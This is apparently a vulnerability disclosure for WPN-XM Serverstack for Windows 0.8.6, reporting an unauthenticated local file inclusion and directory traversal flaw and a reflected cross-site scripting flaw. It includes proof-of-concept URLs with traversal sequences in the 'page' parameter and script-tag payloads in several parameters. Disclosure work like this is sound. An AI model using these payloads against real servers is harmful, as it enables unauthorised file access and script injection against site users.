WP?-XM Server Stack for Windows

# Exploit Title: WPN-XM Serverstack for Windows 0.8.6 - Multiple Vulnerabilities # Discovery by: Rafael Pedrero # Discovery Date: 2022-02-13 # Vendor Homepage: http://wpn-xm.org/ # Software Link : https://github.com/WPN-XM/WPN-XM/ # Tested Version: 0.8.6 # Tested on: Windows 10 using XAMPP # Vulnerability Type: Local File Inclusion (LFI) & directory traversal (path traversal) CVSS v3: 7.5 CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CWE: CWE-829, CWE-22 Vulnerability description: WPN-XM Serverstack for Windows v0.8.6 allows unauthenticated directory traversal and Local File Inclusion through the parameter in an /tools/webinterface/index.php?page=..\..\..\..\..\..\hello (without php) GET request. Proof of concept: To detect: http://localhost/tools/webinterface/index.php?page=) The parameter "page" can be modified and load a php file in the server. Example, In C:\:hello.php with this content: C:\>type hello.php To Get hello.php in c:\ : http://localhost/tools/webinterface/index.php?page=..\..\..\..\..\..\hello Note: hello without ".php". And you can see the PHP message into the browser at the start. Response: HELLO FROM C:\hello.php WP?-XM Server Stack for Windows - 0.8.6 # Vulnerability Type: reflected Cross-Site Scripting (XSS) CVSS v3: 6.5 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: WPN-XM Serverstack for Windows v0.8.6, does not sufficiently encode user-controlled inputs, resulting in a reflected Cross-Site Scripting (XSS) vulnerability via the /tools/webinterface/index.php, in multiple parameters. Proof of concept: http://localhost/tools/webinterface/index.php?action=showtab%3Cscript%3Ealert(1);%3C/script%3E&page=config&tab=help http://localhost/tools/webinterface/index.php?action=showtab&page=config%3Cscript%3Ealert(1);%3C/script%3E&tab=help http://localhost/tools/webinterface/index.php?action=showtab&page=config&tab=help%3Cscript%3Ealert(1);%3C/script%3E